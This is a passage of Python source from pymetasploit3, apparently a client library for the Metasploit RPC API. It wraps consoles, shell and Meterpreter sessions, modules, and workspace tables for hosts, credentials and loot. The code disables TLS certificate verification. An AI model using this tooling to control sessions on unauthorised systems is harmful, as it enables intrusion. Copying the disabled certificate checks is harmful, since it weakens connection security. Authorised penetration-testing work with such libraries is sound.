token is not None: 29 | self.console = rpc.sessions.session(token) 30 | self.type_ = MsfRpcConsoleType.Shell if isinstance(self.console, ShellSession) else MsfRpcConsoleType.Meterpreter 31 | self.prompt = '>>> ' 32 | self.callback(dict(data='', prompt=self.prompt)) 33 | else: 34 | self.console = rpc.consoles.console() 35 | self.type_ = MsfRpcConsoleType.Console 36 | self.prompt = '' 37 | 38 | self.lock = Lock() 39 | self.running = True 40 | self._poller() 41 | 42 | def _poller(self): 43 | self.lock.acquire() 44 | if not self.running: 45 | return 46 | d = self.console.read() 47 | self.lock.release() 48 | 49 | if self.type_ == MsfRpcConsoleType.Console: 50 | if d['data'] or self.prompt != d['prompt']: 51 | self.prompt = d['prompt'] 52 | if self.callback is not None: 53 | self.callback(d) 54 | else: 55 | print(d['data']) 56 | else: 57 | if d: 58 | if self.callback is not None: 59 | self.callback(dict(data=d, prompt=self.prompt)) 60 | else: 61 | print(d) 62 | Timer(0.5, self._poller).start() 63 | 64 | def execute(self, command): 65 | """ 66 | Execute a command on the console. 67 | 68 | Mandatory Arguments: 69 | - command : the command to execute 70 | """ 71 | if not command.endswith('\n'): 72 | command += '\n' 73 | self.lock.acquire() 74 | self.console.write(command) 75 | self.lock.release() 76 | 77 | def __del__(self): 78 | self.lock.acquire() 79 | if self.type_ == MsfRpcConsoleType.Console: 80 | self.console.destroy() 81 | self.running = False 82 | self.lock.release() 83 | -------------------------------------------------------------------------------- /pymetasploit3/msfrpc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from numbers import Number 4 | from pymetasploit3.utils import * 5 | import requests 6 | import uuid 7 | import time 8 | import re 9 | import random 10 | import requests.packages.urllib3 11 | requests.packages.urllib3.disable_warnings() 12 | 13 | __all__ = [ 14 | 'MsfRpcError', 15 | 'MsfRpcMethod', 16 | 'MsfPlugins', 17 | 'MsfRpcClient', 18 | 'MsfTable', 19 | 'NotesTable', 20 | 'LootsTable', 21 | 'CredsTable', 22 | 'HostsTable', 23 | 'ServicesTable', 24 | 'VulnsTable', 25 | 'EventsTable', 26 | 'ClientsTable', 27 | 'Workspace', 28 | 'MsfManager', 29 | 'WorkspaceManager', 30 | 'DbManager', 31 | 'AuthManager', 32 | 'PluginManager', 33 | 'JobManager', 34 | 'CoreManager', 35 | 'MsfModule', 36 | 'ExploitModule', 37 | 'PostModule', 38 | 'EncoderModule', 39 | 'AuxiliaryModule', 40 | 'PayloadModule', 41 | 'NopModule', 42 | 'ModuleManager', 43 | 'MsfSession', 44 | 'MeterpreterSession', 45 | 'ShellSession', 46 | 'SessionManager', 47 | 'MsfConsole', 48 | 'ConsoleManager' 49 | ] 50 | 51 | 52 | class MsfRpcError(Exception): 53 | pass 54 | 55 | 56 | class MsfRpcMethod(object): 57 | AuthLogin = 'auth.login' 58 | AuthLogout = 'auth.logout' 59 | AuthTokenList = 'auth.token_list' 60 | AuthTokenAdd = 'auth.token_add' 61 | AuthTokenGenerate = 'auth.token_generate' 62 | AuthTokenRemove = 'auth.token_remove' 63 | ConsoleCreate = 'console.create' 64 | ConsoleList = 'console.list' 65 | ConsoleDestroy = 'console.destroy' 66 | ConsoleRead = 'console.read' 67 | ConsoleWrite = 'console.write' 68 | ConsoleTabs = 'console.tabs' 69 | ConsoleSessionKill = 'console.session_kill' 70 | ConsoleSessionDetach = 'console.session_detach' 71 | CoreVersion = 'core.version' 72 | CoreStop = 'core.stop' 73 | CoreSetG = 'core.setg' 74 | CoreUnsetG = 'core.unsetg' 75 | CoreSave = 'core.save' 76 | CoreReloadModules = 'core.reload_modules' 77 | CoreModuleStats = 'core.module_stats' 78 | CoreAddModulePath = 'core.add_module_path' 79 | CoreThreadList = 'core.thread_list' 80 | CoreThreadKill = 'core.thread_kill' 81 | DbHosts = 'db.hosts' 82 | DbServices = 'db.services' 83 | DbVulns = 'db.vulns' 84 | DbWorkspaces = 'db.workspaces' 85 | DbCurrentWorkspace = 'db.current_workspace' 86 | DbGetWorkspace = 'db.get_workspace' 87 | DbSetWorkspace = 'db.set_workspace' 88 | DbDelWorkspace = 'db.del_workspace' 89 | DbAddWorkspace = 'db.add_workspace' 90 | DbGetHost = 'db.get_host' 91 | DbReportHost = 'db.report_host' 92 | DbReportService = 'db.report_service' 93 | DbGetService = 'db.get_service' 94 | DbGetNote = 'db.get_note' 95 | DbGetClient = 'db.get_client' 96 | DbReportClient = 'db.report_client' 97 | DbReportNote = 'db.report_note' 98 | DbNotes = 'db.notes' 99 | DbGetRef = 'db.get_ref' 100 | DbDelVuln = 'db.del_vuln' 101 | DbDelNote = 'db.del_note' 102 | DbDelService = 'db.del_service' 103 | DbDelHost = 'db.del_host' 104 | DbReportVuln = 'db.report_vuln' 105 | DbEvents = 'db.events' 106 | DbReportEvent = 'db.report_event' 107 | DbReportLoot = 'db.report_loot' 108 | DbLoots = 'db.loots' 109 | DbReportCred = 'db.report_cred' 110 | DbCreds = 'db.creds' 111 | DbImportData = 'db.import_data' 112 | DbGetVuln = 'db.get_vuln' 113 | DbClients = 'db.clients' 114 | DbDelClient = 'db.del_client' 115 | DbDriver = 'db.driver' 116 | DbConnect = 'db.connect' 117 | DbStatus = 'db.status' 118 | DbDisconnect = 'db.disconnect' 119 | JobList = 'job.list' 120 | JobStop = 'job.stop' 121 | JobInfo = 'job.info' 122 | ModuleExploits = 'module.exploits' 123 | ModuleEvasion = 'module.evasion' 124 | ModuleAuxiliary = 'module.auxiliary' 125 | ModulePayloads = 'module.payloads' 126 | ModuleEncoders = 'module.encoders' 127 | ModuleNops = 'module.nops' 128 | ModulePost = 'module.post' 129 | ModuleInfo = 'module.info' 130 | ModuleCompatiblePayloads = 'module.compatible_payloads' 131 | ModuleCompatibleSessions = 'module.compatible_sessions' 132 | ModuleTargetCompatiblePayloads = 'module.target_compatible_payloads' 133 | ModuleOptions = 'module.options' 134 | ModuleExecute = 'module.execute' 135 | ModuleEncodeFormats = 'module.encode_formats' 136 | ModuleEncode = 'module.encode' 137 | PluginLoad = 'plugin.load' 138 | PluginUnload = 'plugin.unload' 139 | PluginLoaded = 'plugin.loaded' 140 | SessionList = 'session.list' 141 | SessionStop = 'session.stop' 142 | SessionShellRead = 'session.shell_read' 143 | SessionShellWrite = 'session.shell_write' 144 | SessionShellUpgrade = 'session.shell_upgrade' 145 | SessionMeterpreterRead = 'session.meterpreter_read' 146 | SessionRingRead = 'session.ring_read' 147 | SessionRingPut = 'session.ring_put' 148 | SessionRingLast = 'session.ring_last' 149 | SessionRingClear = 'session.ring_clear' 150 | SessionMeterpreterWrite = 'session.meterpreter_write' 151 | SessionMeterpreterSessionDetach = 'session.meterpreter_session_detach' 152 | SessionMeterpreterSessionKill = 'session.meterpreter_session_kill' 153 | SessionMeterpreterTabs = 'session.meterpreter_tabs' 154 | SessionMeterpreterRunSingle = 'session.meterpreter_run_single' 155 | SessionMeterpreterScript = 'session.meterpreter_script' 156 | SessionMeterpreterDirectorySeparator = 'session.meterpreter_directory_separator' 157 | SessionCompatibleModules = 'session.compatible_modules' 158 | 159 | 160 | class MsfPlugins(object): 161 | IpsFilter = "ips_filter" 162 | SocketLogger = "socket_logger" 163 | DbTracker = "db_tracker" 164 | Sounds = "sounds" 165 | AutoAddRoute = "auto_add_route" 166 | DbCredCollect = "db_credcollect" 167 | 168 | 169 | class MsfError(Exception): 170 | def __init__(self, msg): 171 | self.msg = msg 172 | 173 | def __str__(self): 174 | return repr(self.msg) 175 | 176 | 177 | class MsfAuthError(MsfError): 178 | def __init__(self, msg): 179 | self.msg = msg 180 | 181 | 182 | class MsfRpcClient(object): 183 | 184 | def __init__(self, password, **kwargs): 185 | self.uri = kwargs.get('uri', '/api/') 186 | self.port = kwargs.get('port', 55553) 187 | self.host = kwargs.get('server', '127.0.0.1') 188 | self.ssl = kwargs.get('ssl', False) 189 | self.token = kwargs.get('token') 190 | self.headers = {"Content-type": "binary/message-pack"} 191 | self.login(kwargs.get('username', 'msf'), password) 192 | 193 | def call(self, method, opts=[]): 194 | if method != 'auth.login': 195 | if self.token is None: 196 | raise MsfAuthError("MsfRPC: Not Authenticated") 197 | 198 | if method != "auth.login": 199 | opts.insert(0, self.token) 200 | 201 | if self.ssl is True: 202 | url = "https://%s:%s%s" % (self.host, self.port, self.uri) 203 | else: 204 | url = "http://%s:%s%s" % (self.host, self.port, self.uri) 205 | 206 | opts.insert(0, method) 207 | payload = encode(opts) 208 | 209 | r = requests.post(url, data=payload, headers=self.headers, verify=False) 210 | 211 | opts[:] = [] # Clear opts list 212 | 213 | return convert(decode(r.content)) # convert all keys/vals to utf8 214 | 215 | def login(self, user, password): 216 | auth = self.call(MsfRpcMethod.AuthLogin, [user, password]) 217 | try: 218 | if auth['result'] == 'success': 219 | self.token = auth['token'] 220 | token = self.add_perm_token() 221 | self.token = token 222 | return True 223 | except Exception: 224 | raise MsfAuthError("MsfRPC: Authentication failed") 225 | 226 | def add_perm_token(self): 227 | """ 228 | Add a permanent UUID4 API token 229 | """ 230 | token = str(uuid.uuid4()) 231 | self.call(MsfRpcMethod.AuthTokenAdd, [token]) 232 | return token 233 | 234 | def logout(self): 235 | """ 236 | Logs the current user out. Note: do not call directly. 237 | """ 238 | self.call(MsfRpcMethod.AuthLogout, [self.token]) 239 | 240 | @property 241 | def core(self): 242 | """ 243 | The msf RPC core manager. 244 | """ 245 | return CoreManager(self) 246 | 247 | @property 248 | def modules(self): 249 | """ 250 | The msf RPC modules RPC manager. 251 | """ 252 | return ModuleManager(self) 253 | 254 | @property 255 | def sessions(self): 256 | """ 257 | The msf RPC sessions (meterpreter & shell) manager. 258 | """ 259 | return SessionManager(self) 260 | 261 | @property 262 | def jobs(self): 263 | """ 264 | The msf RPC jobs manager. 265 | """ 266 | return JobManager(self) 267 | 268 | @property 269 | def consoles(self): 270 | """ 271 | The msf RPC consoles manager 272 | """ 273 | return ConsoleManager(self) 274 | 275 | @property 276 | def authenticated(self): 277 | """ 278 | Whether or not this client is authenticated. 279 | """ 280 | return self.token is not None 281 | 282 | @property 283 | def plugins(self): 284 | """ 285 | The msf RPC plugins manager. 286 | """ 287 | return PluginManager(self) 288 | 289 | @property 290 | def db(self): 291 | """ 292 | The msf RPC database manager. 293 | """ 294 | return DbManager(self) 295 | 296 | @property 297 | def auth(self): 298 | """ 299 | The msf authentication manager. 300 | """ 301 | return AuthManager(self) 302 | 303 | 304 | class MsfTable(object): 305 | 306 | def __init__(self, rpc, wname): 307 | self.rpc = rpc 308 | self.name = wname 309 | 310 | def dbreport(self, atype, attrs): 311 | attrs.update({'workspace': self.name}) 312 | return self.rpc.call('db.report_%s' % atype, [attrs]) 313 | 314 | def dbdel(self, atype, attrs): 315 | attrs.update({'workspace': self.name}) 316 | return self.rpc.call('db.del_%s' % atype, [attrs]) 317 | 318 | def dbget(self, atype, attrs): 319 | attrs.update({'workspace': self.name}) 320 | return self.rpc.call('db.get_%s' % atype, [attrs])[atype] 321 | 322 | def records(self, atypes, **kwargs): 323 | kwargs.update({'workspace': self.name}) 324 | return self.rpc.call('db.%s' % atypes, [kwargs])[atypes] 325 | 326 | @property 327 | def list(self): 328 | raise NotImplementedError 329 | 330 | def report(self, *args, **kwargs): 331 | raise NotImplementedError 332 | 333 | def delete(self, *args, **kwargs): 334 | raise NotImplementedError 335 | 336 | def find(self, **kwargs): 337 | raise NotImplementedError 338 | 339 | update = report 340 | 341 | 342 | class NotesTable(MsfTable): 343 | 344 | @property 345 | def list(self): 346 | return super(NotesTable, self).records('notes') 347 | 348 | def find(self, **kwargs): 349 | """ 350 | Find notes based on search criteria. 351 | 352 | Optional Keyword Arguments: 353 | - limit : the maximum number of results. 354 | - offset : skip n results. 355 | - addresses : a list of addresses to search for. 356 | - names : comma separated string of service names. 357 | - ntype : the note type. 358 | - ports : the port associated with the note. 359 | - proto : the protocol associated with the note. 360 | """ 361 | if 'ports' in kwargs: 362 | kwargs['port'] = True 363 | return super(NotesTable, self).records('notes', **kwargs) 364 | 365 | def report(self, rtype, data, **kwargs): 366 | """ 367 | Report a Note to the database. Notes can be tied to a Workspace, Host, or Service. 368 | 369 | Mandatory Arguments: 370 | - rtype : The type of note, e.g. 'smb_peer_os'. 371 | - data : whatever it is you're making a note of. 372 | 373 | Optional Keyword Arguments: 374 | - host : an IP address or a Host object to associate with this Note. 375 | - service : a dict containing 'host', 'port', 'proto' and optionally 'name' keys. 376 | - port : along with 'host' and 'proto', a service to associate with this Note. 377 | - proto : along with 'host' and 'port', a service to associate with this Note. 378 | - update : what to do in case a similar Note exists, see below. 379 | 380 | The 'update' option can have the following values: 381 | - unique : allow only a single Note per host/type pair. 382 | - unique_data : like 'unique', but also compare 'data'. 383 | - insert : always insert a new Note even if one with identical values exists. 384 | 385 | If the provided 'host' is an IP address and does not exist in the database, 386 | it will be created. If 'host' and 'service' are all omitted, the new Note 387 | will be associated with the current 'workspace'. 388 | """ 389 | kwargs.update({'data': data, 'type': rtype}) 390 | kwargs.update(kwargs.pop('service', {})) 391 | self.dbreport('note', kwargs) 392 | 393 | def delete(self, **kwargs): 394 | """ 395 | Delete one or more notes based on a search criteria. 396 | 397 | Optional Keyword Arguments: 398 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 399 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 400 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 401 | - port : the port associated with a Note. 402 | - proto : the protocol associated with a Note. 403 | - ntype : the note type, e.g. 'smb_peer_os'. 404 | """ 405 | self.dbdel('note', kwargs) 406 | 407 | def get(self, **kwargs): 408 | """ 409 | Get a Note from the database based on the specifications of one or more keyword arguments. 410 | 411 | Mandatory Keyword Arguments: 412 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 413 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 414 | - addr : same as 'address', not required if 'host' or 'address' is specified. 415 | 416 | Optional Keyword Arguments: 417 | - proto : the protocol associated with the Note. 418 | - port : the port associated with the Note. 419 | - ntype : the type of Note. 420 | """ 421 | if not any([i in kwargs for i in ('host', 'address', 'addr')]): 422 | raise TypeError('Expected a host, address, or addr.') 423 | return self.dbget('note', kwargs) 424 | 425 | update = report 426 | 427 | 428 | class LootsTable(MsfTable): 429 | 430 | @property 431 | def list(self): 432 | return super(LootsTable, self).records('loots') 433 | 434 | def find(self, **kwargs): 435 | """ 436 | Find loot based on search criteria. 437 | 438 | Optional Keyword Arguments: 439 | - limit : the maximum number of results. 440 | - offset : skip n results. 441 | """ 442 | return super(LootsTable, self).records('loots', **kwargs) 443 | 444 | def report(self, path, rtype, **kwargs): 445 | """ 446 | Report Loot to the database 447 | 448 | Mandatory Arguments: 449 | - path : the filesystem path to the Loot 450 | - type : the type of Loot 451 | - ltype : the same as 'type', not required if 'type' is specified. 452 | 453 | Optional Keyword Arguments: 454 | - host : an IP address or a Host object to associate with this Note 455 | - ctype : the content type of the loot, e.g. 'text/plain' 456 | - content_type : same as 'ctype'. 457 | - service : a service to associate Loot with. 458 | - name : a name to associate with this Loot. 459 | - info : additional information about this Loot. 460 | - data : the data within the Loot. 461 | """ 462 | kwargs.update({'path': path, 'type': rtype}) 463 | self.dbreport('loot', kwargs) 464 | 465 | update = report 466 | 467 | 468 | # Apparently there is no db.report_creds or db_get_cred API call 469 | class CredsTable(MsfTable): 470 | 471 | @property 472 | def list(self): 473 | return super(CredsTable, self).records('creds') 474 | 475 | def find(self, **kwargs): 476 | """ 477 | Find creds based on search criteria. 478 | 479 | Optional Keyword Arguments: 480 | - limit : the maximum number of results. 481 | - offset : skip n results. 482 | """ 483 | return super(CredsTable, self).records('creds', **kwargs) 484 | 485 | 486 | class HostsTable(MsfTable): 487 | 488 | @property 489 | def list(self): 490 | return super(HostsTable, self).records('hosts') 491 | 492 | def find(self, **kwargs): 493 | """ 494 | Find hosts based on search criteria. 495 | 496 | Optional Keyword Arguments: 497 | - limit : the maximum number of results. 498 | - offset : skip n results. 499 | - only_up : find only hosts that are alive. 500 | - addresses : find hosts based on a list of addresses. 501 | """ 502 | return super(HostsTable, self).records('hosts', **kwargs) 503 | 504 | def report(self, host, **kwargs): 505 | """ 506 | Store a host in the database. 507 | 508 | Mandatory Keyword Arguments: 509 | - host : an IP address or Host object reference. 510 | 511 | Optional Keyword Arguments: 512 | - state : a host state. 513 | - os_name : an operating system. 514 | - os_flavor : something like 'XP or 'Gentoo'. 515 | - os_sp : something like 'SP2'. 516 | - os_lang : something like 'English', 'French', or 'en-US'. 517 | - arch : an architecture. 518 | - mac : the host's MAC address. 519 | - scope : interface identifier for link-local IPv6. 520 | - virtual_host : the name of the VM host software, e.g. 'VMWare', 'QEMU', 'Xen', etc. 521 | """ 522 | kwargs.update({'host': host}) 523 | self.dbreport('host', kwargs) 524 | 525 | def delete(self, **kwargs): 526 | """ 527 | Deletes a host and associated data matching this address/comm. 528 | 529 | Mandatory Keyword Arguments: 530 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 531 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 532 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 533 | """ 534 | if not any([i in kwargs for i in ('host', 'address', 'addresses')]): 535 | raise TypeError('Expected host, address, or addresses.') 536 | self.dbdel('host', kwargs) 537 | 538 | def get(self, **kwargs): 539 | """ 540 | Get a host in the database. 541 | 542 | Mandatory Keyword Arguments: 543 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 544 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 545 | - addr : same as 'address', not required if 'host' or 'address' is specified. 546 | """ 547 | if not any([i in kwargs for i in ('addr', 'address', 'host')]): 548 | raise TypeError('Expected addr, address, or host.') 549 | return self.dbget('host', kwargs) 550 | 551 | update = report 552 | 553 | 554 | class ServicesTable(MsfTable): 555 | 556 | @property 557 | def list(self): 558 | return super(ServicesTable, self).records('services') 559 | 560 | def find(self, **kwargs): 561 | """ 562 | Find hosts based on search criteria. 563 | 564 | Optional Keyword Arguments: 565 | - limit : the maximum number of results. 566 | - offset : skip n results. 567 | - only_up : find only hosts that are alive. 568 | - addresses : find hosts based on a list of addresses. 569 | - proto : the protocol of the service. 570 | - ports : a comma separated string of ports. 571 | - names : a comma separated string of service names. 572 | """ 573 | return super(ServicesTable, self).records('services', **kwargs) 574 | 575 | def report(self, host, port, proto, **kwargs): 576 | """ 577 | Record a service in the database. 578 | 579 | Mandatory Arguments: 580 | - host : the host where this service is running. 581 | - port : the port where this service listens. 582 | - proto : the transport layer protocol (e.g. tcp, udp). 583 | 584 | Optional Keyword Arguments: 585 | - name : the application layer protocol (e.g. ssh, mssql, smb) 586 | - sname : an alias for the above 587 | """ 588 | kwargs.update({'host': host, 'port': port, 'proto': proto}) 589 | self.dbreport('service', kwargs) 590 | 591 | def delete(self, **kwargs): 592 | """ 593 | Deletes a port and associated vulns matching this port. 594 | 595 | Mandatory Keyword Arguments: 596 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 597 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 598 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 599 | 600 | or 601 | 602 | - port : used along with 'proto', specifies a service. 603 | - proto : used along with 'port', specifies a service. 604 | """ 605 | if not any([i in kwargs for i in ('host', 'address', 'addresses')]) and \ 606 | not all([i in kwargs for i in ('proto', 'port')]): 607 | raise TypeError('Expected host or port/proto pair.') 608 | self.dbdel('service', kwargs) 609 | 610 | def get(self, **kwargs): 611 | """ 612 | Get a service record from the database. 613 | 614 | Mandatory Keyword Arguments: 615 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 616 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 617 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 618 | 619 | or 620 | 621 | - port : used along with 'proto', specifies a service. 622 | - proto : used along with 'port', specifies a service. 623 | 624 | Optional Keyword Arguments: 625 | - up : specifies whether or not the service is alive. 626 | - names : a comma separated string of service names. 627 | """ 628 | if not any([i in kwargs for i in ('host', 'addr', 'address')]) and \ 629 | not all([i in kwargs for i in ('proto', 'port')]): 630 | raise TypeError('Expected host or port/proto pair.') 631 | return self.dbget('service', kwargs) 632 | 633 | update = report 634 | 635 | 636 | class VulnsTable(MsfTable): 637 | 638 | @property 639 | def list(self): 640 | return super(VulnsTable, self).records('vulns') 641 | 642 | def find(self, **kwargs): 643 | """ 644 | Find vulns based on search criteria. 645 | 646 | Optional Keyword Arguments: 647 | - limit : the maximum number of results. 648 | - offset : skip n results. 649 | - addresses : find hosts based on a list of addresses. 650 | - proto : the protocol of the service. 651 | - ports : a comma separated string of ports. 652 | - names : a comma separated string of service names. 653 | """ 654 | return super(VulnsTable, self).records('vulns', **kwargs) 655 | 656 | def report(self, host, name, **kwargs): 657 | """ 658 | Record a Vuln in the database. 659 | 660 | Mandatory Arguments: 661 | - host : the host where this vulnerability resides. 662 | - name : the scanner-specific id of the vuln (e.g. NEXPOSE-cifs-acct-password-never-expires). 663 | 664 | Optional Keyword Arguments: 665 | - info : a human readable description of the vuln, free-form text. 666 | - refs : an array of Ref objects or string names of references. 667 | """ 668 | kwargs.update({'host': host, 'name': name}) 669 | self.dbreport('vuln', kwargs) 670 | 671 | def delete(self, **kwargs): 672 | """ 673 | Deletes a vuln and associated data matching this address/comm. 674 | 675 | Mandatory Keyword Arguments: 676 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 677 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 678 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 679 | """ 680 | if not any([i in kwargs for i in ('host', 'address', 'addresses')]): 681 | raise TypeError('Expected host, address, or addresses.') 682 | self.dbdel('vuln', kwargs) 683 | 684 | def get(self, **kwargs): 685 | """ 686 | Get a vuln in the database. 687 | 688 | Mandatory Keyword Arguments: 689 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 690 | - address : the address associated with a Note, not required if 'host' or 'addr' is specified. 691 | - addr : same as 'address', not required if 'host' or 'address' is specified. 692 | """ 693 | if not any([i in kwargs for i in ('addr', 'address', 'host')]): 694 | raise TypeError('Expected addr, address, or host.') 695 | return self.dbget('vuln', kwargs) 696 | 697 | update = report 698 | 699 | 700 | class EventsTable(MsfTable): 701 | 702 | @property 703 | def list(self): 704 | return super(EventsTable, self).records('events') 705 | 706 | def find(self, **kwargs): 707 | """ 708 | Find events based on search criteria. 709 | 710 | Optional Keyword Arguments: 711 | - limit : the maximum number of results. 712 | - offset : skip n results. 713 | """ 714 | return super(EventsTable, self).records('events', **kwargs) 715 | 716 | def report(self, **kwargs): 717 | """ 718 | Record a Vuln in the database. 719 | 720 | Mandatory Arguments: 721 | - username : user that invoked the event. 722 | - host : host that invoked the event. 723 | """ 724 | if not any([i in kwargs for i in ('username', 'host')]): 725 | raise TypeError('Expected either username or host') 726 | self.dbreport('vuln', kwargs) 727 | 728 | update = report 729 | 730 | 731 | class ClientsTable(MsfTable): 732 | 733 | @property 734 | def list(self): 735 | return super(ClientsTable, self).records('clients') 736 | 737 | def find(self, **kwargs): 738 | """ 739 | Find clients based on search criteria. 740 | 741 | Optional Keyword Arguments: 742 | - limit : the maximum number of results. 743 | - offset : skip n results. 744 | - ua_name : a user-agent string. 745 | - ua_ver : the user-agent version. 746 | - addresses : a list of IP addresses. 747 | """ 748 | return super(ClientsTable, self).records('clients', **kwargs) 749 | 750 | def report(self, ua_string, host, **kwargs): 751 | """ 752 | Report a client running on a host. 753 | 754 | Mandatory Arguments: 755 | - ua_string : the value of the User-Agent header 756 | - host : the host where this client connected from, can be an ip address or a Host object 757 | 758 | Optional Keyword Arguments 759 | - ua_name : one of the user agent name constants 760 | - ua_ver : detected version of the given client 761 | - campaign : an id or Campaign object 762 | 763 | Returns a Client. 764 | """ 765 | kwargs.update({'host': host, 'ua_string': ua_string}) 766 | self.dbreport('client', kwargs) 767 | 768 | def delete(self, **kwargs): 769 | """ 770 | Deletes a client and associated data matching this address/comm. 771 | 772 | Mandatory Keyword Arguments: 773 | - host : the host associated with a Note, not required if 'address' or 'addresses' is specified 774 | - address : the address associated with a Note, not required if 'host' or 'addresses' is specified. 775 | - addresses : a list of addresses associated with Notes, not required if 'host' or 'address' is specified. 776 | """ 777 | self.dbdel('client', kwargs) 778 | 779 | def get(self, **kwargs): 780 | """ 781 | Get a client in the database. 782 | 783 | Mandatory Keyword Arguments: 784 | - host : the host associated with a Note, not required if 'address' or 'addr' is specified. 785 | - ua_string : the value of the User-Agent header 786 | """ 787 | if not any([i in kwargs for i in ('host', 'ua_string')]): 788 | raise TypeError('Expected host or ua_string.') 789 | return self.dbreport('client', kwargs) 790 | 791 | update = report 792 | 793 | 794 | class Workspace(object): 795 | 796 | def __init__(self, rpc, name): 797 | """ 798 | Initializes a workspace object. 799 | 800 | Mandatory Arguments: 801 | - rpc : the msfrpc client object 802 | - name : the name of the workspace 803 | """ 804 | self.rpc = rpc 805 | self.name = name 806 | 807 | @property 808 | def current(self): 809 | """ 810 | The name of the current workspace. 811 | """ 812 | return self.name 813 | 814 | @current.setter 815 | def current(self, name): 816 | self.name = name 817 | 818 | @property 819 | def notes(self): 820 | """ 821 | Returns the notes table for the current workspace. 822 | """ 823 | return NotesTable(self.rpc, self.name) 824 | 825 | @property 826 | def hosts(self): 827 | """ 828 | Returns the hosts table for the current workspace. 829 | """ 830 | return HostsTable(self.rpc, self.name) 831 | 832 | @property 833 | def services(self): 834 | """ 835 | Returns the services table for the current workspace. 836 | """ 837 | return ServicesTable(self.rpc, self.name) 838 | 839 | @property 840 | def vulns(self): 841 | """ 842 | Returns the vulns table for the current workspace. 843 | """ 844 | return VulnsTable(self.rpc, self.name) 845 | 846 | @property 847 | def events(self): 848 | """ 849 | Returns the events table for the current workspace. 850 | """ 851 | return EventsTable(self.rpc, self.name) 852 | 853 | @property 854 | def loots(self): 855 | """ 856 | Returns the loots table for the current workspace. 857 | """ 858 | return LootsTable(self.rpc, self.name) 859 | 860 | @property 861 | def creds(self): 862 | """ 863 | Returns the creds table for the current workspace. 864 | """ 865 | return CredsTable(self.rpc, self.name) 866 | 867 | @property 868 | def clients(self): 869 | """ 870 | Returns the clients table for the current workspace. 871 | """ 872 | return ClientsTable(self.rpc, self.name) 873 | 874 | def delete(self): 875 | """ 876 | Delete the current workspace. 877 | """ 878 | self.rpc.call(MsfRpcMethod.DbDelWorkspace, [{'workspace': self.name}]) 879 | 880 | def importdata(self, data): 881 | self.rpc.call(MsfRpcMethod.DbImportData, [{'workspace': self.name, 'data': data}]) 882 | 883 | def importfile(self, fname): 884 | r = open(fname, mode='r') 885 | self.rpc.call(MsfRpcMethod.DbImportData, [{'workspace': self.name, 'data': r.read()}]) 886 | r.close() 887 | 888 | 889 | class MsfManager(object): 890 | 891 | def __init__(self, rpc): 892 | """ 893 | Initialize a msf component manager. 894 | 895 | Mandatory Arguments: 896 | - rpc : the msfrpc client object. 897 | """ 898 | self.rpc = rpc 899 | 900 | 901 | class WorkspaceManager(MsfManager): 902 | 903 | @property 904 | def list(self): 905 | """ 906 | The list of all workspaces in the current msf database. 907 | """ 908 | return self.rpc.call(MsfRpcMethod.DbWorkspaces)['workspaces'] 909 | 910 | def workspace(self, name='default'): 911 | """ 912 | Returns a Workspace object for the given workspace name. 913 | 914 | Optional Arguments: 915 | - name : the name of the workspace 916 | """ 917 | w = self.list 918 | if name not in w: 919 | self.add(name) 920 | return Workspace(self.rpc, name) 921 | 922 | def add(self, name): 923 | """ 924 | Adds a workspace with the given name. 925 | 926 | Mandatory Arguments: 927 | - name : the name of the workspace 928 | """ 929 | self.rpc.call(MsfRpcMethod.DbAddWorkspace, [name]) 930 | 931 | def get(self, name): 932 | """ 933 | Get a workspace with the given name. 934 | 935 | Mandatory Arguments: 936 | - name : the name of the workspace 937 | """ 938 | res = self.rpc.call(MsfRpcMethod.DbGetWorkspace, [name]) 939 | if 'workspace' in res: 940 | return res['workspace'] 941 | else: 942 | return 943 | 944 | def remove(self, name): 945 | """ 946 | Adds a workspace with the given name. 947 | 948 | Mandatory Arguments: 949 | - name : the name of the workspace 950 | """ 951 | self.rpc.call(MsfRpcMethod.DbDelWorkspace, [name]) 952 | 953 | def set(self, name): 954 | """ 955 | Sets the current workspace. 956 | 957 | Mandatory Arguments: 958 | - name : the name of the workspace 959 | """ 960 | self.rpc.call(MsfRpcMethod.DbSetWorkspace, [name]) 961 | 962 | @property 963 | def current(self): 964 | """ 965 | The current workspace. 966 | """ 967 | return self.workspace(self.rpc.call(MsfRpcMethod.DbCurrentWorkspace)['workspace']) 968 | 969 | 970 | class DbManager(MsfManager): 971 | 972 | def connect(self, username, database='msf', **kwargs): 973 | """ 974 | Connects to a database and creates the msf schema if necessary. 975 | 976 | Mandatory Arguments: 977 | - username : the username for the database connection 978 | 979 | Optional Keyword Arguments: 980 | - host : the IP or hostname of the database server (default: 'localhost') 981 | - driver : the driver to use for the database connection (default: 'postgresql') 982 | - password : the password for the database connection 983 | - database : the database name (default: 'msf') 984 | - port : the port that the server is running on (default: 5432) 985 | """ 986 | runopts = {'username': username, 'database': database} 987 | runopts.update(kwargs) 988 | res = self.rpc.call(MsfRpcMethod.DbConnect, [runopts]) 989 | return res['result'] == 'success' 990 | 991 | @property 992 | def driver(self): 993 | """ 994 | The current database driver in use. 995 | """ 996 | return self.rpc.call(MsfRpcMethod.DbDriver, [{}])['driver'] 997 | 998 | @driver.setter 999 | def driver(self, d): 1000 | self.rpc.call(MsfRpcMethod.DbDriver, {'driver': d}) 1001 | 1002 | @property 1003 | def status(self): 1004 | """ 1005 | The status of the database connection. 1006 | """ 1007 | return self.rpc.call(MsfRpcMethod.DbStatus) 1008 | 1009 | 